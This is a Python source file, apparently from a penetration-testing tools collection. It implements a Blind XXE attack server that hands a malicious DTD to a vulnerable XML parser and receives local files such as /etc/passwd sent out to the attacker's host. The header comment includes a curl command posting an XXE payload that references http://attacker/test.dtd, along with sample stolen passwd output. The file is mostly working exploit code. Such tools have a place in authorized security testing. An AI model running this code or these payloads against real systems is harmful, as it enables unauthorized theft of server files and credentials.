mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-23 17:39:48 +01:00
212 lines
6.2 KiB
Python
212 lines
6.2 KiB
Python
#!/usr/bin/python
|
|
|
|
#
|
|
# Simple Blind XXE server intended to handle incoming requests for
|
|
# malicious DTD file, that will subsequently ask for locally stored file,
|
|
# like file:///etc/passwd.
|
|
#
|
|
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
|
|
# to be run as follows:
|
|
#
|
|
# 0. Configure global variables: SERVER_SOCKET and RHOST
|
|
#
|
|
# 1. Run the below script, using:
|
|
# $ python blindxxe.py [options] <filepath>
|
|
#
|
|
# where <filepath> can be for instance: "file:///etc/passwd"
|
|
#
|
|
# 2. Then, while server is running - invoke XXE by requesting e.g.
|
|
# $ curl -X POST http://vulnerable/app --data-binary \
|
|
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
|
|
#
|
|
# The expected result will be like the following:
|
|
#
|
|
# $ python blindxxe.py
|
|
# Exfiltrated file:///etc/passwd:
|
|
# ------------------------------
|
|
# root:x:0:0:root:/root:/bin/sh
|
|
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
|
|
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
|
|
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
|
|
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
|
|
#
|
|
#
|
|
# Mariusz B., 2016
|
|
#
|
|
|
|
|
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
|
import urllib
|
|
import re
|
|
import sys
|
|
import time
|
|
import socket
|
|
import argparse
|
|
import threading
|
|
|
|
#
|
|
# CONFIGURE THE BELOW VARIABLES
|
|
#
|
|
|
|
config = {
|
|
'debug' : '',
|
|
'listen' : '0.0.0.0',
|
|
'port' : 8080,
|
|
'rhost' : '',
|
|
'exfil-file' : '',
|
|
}
|
|
|
|
EXFILTRATED_EVENT = threading.Event()
|
|
|
|
def dbg(x):
|
|
if config['debug']:
|
|
print('[dbg] {}'.format(x))
|
|
|
|
|
|
class BlindXXEServer(BaseHTTPRequestHandler):
|
|
method = ''
|
|
|
|
def response(self, **data):
|
|
code = data.get('code', 200)
|
|
content_type = data.get('content_type', 'text/plain')
|
|
body = data.get('body', '')
|
|
|
|
self.send_response(code)
|
|
self.send_header('Content-Type', content_type)
|
|
self.end_headers()
|
|
self.wfile.write(body.encode('utf-8'))
|
|
self.wfile.close()
|
|
|
|
def do_GET(self):
|
|
self.method = 'GET'
|
|
self.request_handler(self)
|
|
|
|
def do_POST(self):
|
|
self.method = 'POST'
|
|
self.request_handler(self)
|
|
|
|
def log_message(self, format, *args):
|
|
return
|
|
|
|
def request_handler(self, request):
|
|
global EXFILTRATED_EVENT
|
|
|
|
print('[.] Incoming HTTP request from {}: {} {}'.format(
|
|
self.client_address[0],
|
|
request.method,
|
|
request.path[:25]
|
|
))
|
|
|
|
path = urllib.unquote(request.path).decode('utf8')
|
|
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
|
|
if m and request.command.lower() == 'get':
|
|
data = path[len('/?exfil='):]
|
|
print('\n[+] Exfiltrated %s:' % config['exfil-file'])
|
|
print('-' * 30)
|
|
print(urllib.unquote(data).decode('utf8'))
|
|
print('-' * 30 + '\n')
|
|
self.response(body='true')
|
|
|
|
EXFILTRATED_EVENT.set()
|
|
|
|
elif request.path.endswith('.dtd'):
|
|
dbg('Sending malicious DTD file.')
|
|
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
|
|
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s:%(exfil_port)d/?exfil=%%param_exfil;'>">
|
|
%%param_request;''' % {
|
|
'exfil_file' : config['exfil-file'],
|
|
'exfil_host' : config['rhost'],
|
|
'exfil_port' : config['port']
|
|
}
|
|
|
|
self.response(content_type='text/xml', body=dtd)
|
|
|
|
else:
|
|
dbg('%s %s' % (request.command, request.path))
|
|
self.response(body='false')
|
|
|
|
|
|
def parseOptions(argv):
|
|
global config
|
|
|
|
print('''
|
|
:: Blind-XXE attacker's helper backend component
|
|
Helps exfiltrate files by abusing out-of-bands XML External Entity vulnerabilities.
|
|
Mariusz B. / mgeeky '16-18, <mb@binary-offensive.com>
|
|
''')
|
|
|
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
|
|
|
|
parser.add_argument('file', type=str, metavar='FILE', default='file:///etc/passwd', help = 'Specifies file to exfiltrate using Blind XXE technique.')
|
|
parser.add_argument('-l', '--listen', default='0.0.0.0', help = 'Specifies interface address to bind the HTTP server on / listen on. Default: 0.0.0.0 (all interfaces)')
|
|
parser.add_argument('-p', '--port', metavar='PORT', default='8080', type=int, help='Specifies the port to listen on. Default: 8080')
|
|
parser.add_argument('-r', '--rhost', metavar='HOST', default=config['rhost'], help='Specifies attackers host address where the victim\'s XML parser should refer while fetching external entities')
|
|
|
|
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
|
|
|
args = parser.parse_args()
|
|
|
|
config['debug'] = args.debug
|
|
config['listen'] = args.listen
|
|
config['port'] = int(args.port)
|
|
config['rhost'] = args.rhost
|
|
config['exfil-file'] = args.file
|
|
|
|
print('[::] File to be exfiltrated: "{}"'.format(args.file))
|
|
|
|
port = int(args.port)
|
|
if port < 1 or port > 65535:
|
|
Logger.err("Invalid port number. Must be in <1, 65535>")
|
|
sys.exit(-1)
|
|
|
|
return args
|
|
|
|
def fetchRhost():
|
|
global config
|
|
config['rhost'] = socket.gethostbyname(socket.gethostname())
|
|
|
|
def main(argv):
|
|
global config
|
|
|
|
fetchRhost()
|
|
|
|
opts = parseOptions(argv)
|
|
if not opts:
|
|
Logger.err('Options parsing failed.')
|
|
return False
|
|
|
|
print('[+] Serving HTTP server on: ("{}", {})'.format(
|
|
config['listen'], config['port']
|
|
))
|
|
dbg('RHOST set to: {}'.format(config['rhost']))
|
|
|
|
rhost = config['listen']
|
|
if config['listen'] == '0.0.0.0':
|
|
rhost = config['rhost']
|
|
|
|
print('\n[>] Here, use the following XML to leverage Blind XXE vulnerability:')
|
|
print('''
|
|
===
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE foo SYSTEM "http://{}:{}/test.dtd">
|
|
<foo>&exfil;</foo>
|
|
===
|
|
|
|
PS: Don't forget to set:
|
|
Content-Type: text/xml
|
|
|
|
'''.format(rhost, config['port']))
|
|
|
|
server = HTTPServer((config['listen'], config['port']), BlindXXEServer)
|
|
thread = threading.Thread(target=server.serve_forever)
|
|
thread.daemon = True
|
|
thread.start()
|
|
|
|
while not EXFILTRATED_EVENT.is_set():
|
|
pass
|
|
|
|
print('[+] File has been exfiltrated. Quitting.')
|
|
|
|
if __name__ == '__main__':
|
|
main(sys.argv)
|